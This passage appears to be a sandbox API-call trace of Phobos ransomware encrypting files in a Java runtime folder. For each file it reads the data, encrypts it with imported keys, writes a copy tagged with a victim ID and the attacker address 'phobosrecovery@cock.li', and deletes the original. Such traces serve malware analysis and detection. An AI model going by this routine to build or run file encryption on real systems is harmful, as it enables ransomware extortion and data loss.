lpNewFilePointer=0x0) returned 1 [0181.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0181.945] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1a10) returned 1 [0181.945] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0181.945] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x48440, lpOverlapped=0x0) returned 1 [0181.998] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x48450, dwBufLen=0x48450 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x48450) returned 1 [0181.998] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x48450, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x48450, lpOverlapped=0x0) returned 1 [0182.003] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1590) returned 1 [0182.003] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.003] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0182.003] CryptDestroyKey (hKey=0x1d1590) returned 1 [0182.003] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0182.003] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0182.003] CloseHandle (hObject=0x2d8) returned 1 [0182.003] CloseHandle (hObject=0x2e8) returned 1 [0182.003] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 1 [0182.015] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0182.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.016] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=20032) returned 1 [0182.016] CloseHandle (hObject=0x2e8) returned 1 [0182.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20 [0182.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.016] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.016] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0182.017] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d19d0) returned 1 [0182.017] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.017] ReadFile (in: hFile=0x2e8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x4e40, lpOverlapped=0x0) returned 1 [0182.176] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4e50, dwBufLen=0x4e50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4e50) returned 1 [0182.176] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x4e50, lpOverlapped=0x0) returned 1 [0182.177] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d17d0) returned 1 [0182.177] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.177] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0182.177] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0182.177] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0182.177] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0182.177] CloseHandle (hObject=0x2e8) returned 1 [0182.177] CloseHandle (hObject=0x2d8) returned 1 [0182.177] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 1 [0182.179] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0182.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0182.179] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=35392) returned 1 [0182.179] CloseHandle (hObject=0x2d8) returned 1 [0182.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20 [0182.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0182.180] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.180] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.180] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1510) returned 1 [0182.180] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.180] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x8a40, lpOverlapped=0x0) returned 1 [0182.236] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x8a50, dwBufLen=0x8a50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x8a50) returned 1 [0182.236] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x8a50, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x8a50, lpOverlapped=0x0) returned 1 [0182.238] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1550) returned 1 [0182.238] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.238] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0182.238] CryptDestroyKey (hKey=0x1d1550) returned 1 [0182.238] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0182.238] CryptDestroyKey (hKey=0x1d1510) returned 1 [0182.238] CloseHandle (hObject=0x2d8) returned 1 [0182.238] CloseHandle (hObject=0x2e8) returned 1 [0182.238] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 1 [0182.240] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0182.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.241] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=220736) returned 1 [0182.241] CloseHandle (hObject=0x2e8) returned 1 [0182.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20 [0182.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.241] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.242] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0182.242] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d17d0) returned 1 [0182.242] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.242] ReadFile (in: hFile=0x2e8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x35e40, lpOverlapped=0x0) returned 1 [0182.310] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x35e50, dwBufLen=0x35e50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x35e50) returned 1 [0182.311] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x35e50, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x35e50, lpOverlapped=0x0) returned 1 [0182.315] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1550) returned 1 [0182.315] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.315] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0182.315] CryptDestroyKey (hKey=0x1d1550) returned 1 [0182.315] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0182.315] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0182.315] CloseHandle (hObject=0x2e8) returned 1 [0182.315] CloseHandle (hObject=0x2d8) returned 1 [0182.315] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 1 [0182.319] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0182.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0182.319] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=16448) returned 1 [0182.319] CloseHandle (hObject=0x2d8) returned 1 [0182.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20 [0182.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0182.320] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.320] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.320] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1550) returned 1 [0182.320] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.320] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x4040, lpOverlapped=0x0) returned 1 [0182.610] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4050, dwBufLen=0x4050 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4050) returned 1 [0182.610] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x4050, lpOverlapped=0x0) returned 1 [0182.611] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1a10) returned 1 [0182.612] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.612] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0182.612] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0182.612] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0182.612] CryptDestroyKey (hKey=0x1d1550) returned 1 [0182.612] CloseHandle (hObject=0x2d8) returned 1 [0182.612] CloseHandle (hObject=0x2e8) returned 1 [0182.612] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 1 [0182.613] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0182.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.614] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=36928) returned 1 [0182.614] CloseHandle (hObject=0x2e8) returned 1 [0182.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0182.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0182.614] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.614] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0182.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0182.615] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d17d0) returned 1 [0182.615] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.615] ReadFile (in: hFile=0x2e8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x9040, lpOverlapped=0x0) returned 1 [0182.628] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x9050, dwBufLen=0x9050 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x9050) returned 1 [0182.628] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x9050, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x9050, lpOverlapped=0x0) returned 1 [0182.630] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d16d0) returned 1 [0182.630] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0182.630] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0182.630] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0182.630] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0182.630] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0182.630] CloseHandle (hObject=0x2e8) returned 1 [0182.630] CloseHandle (hObject=0x2d8) returned 1 [0182.630] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 1 [0182.632] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0182.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 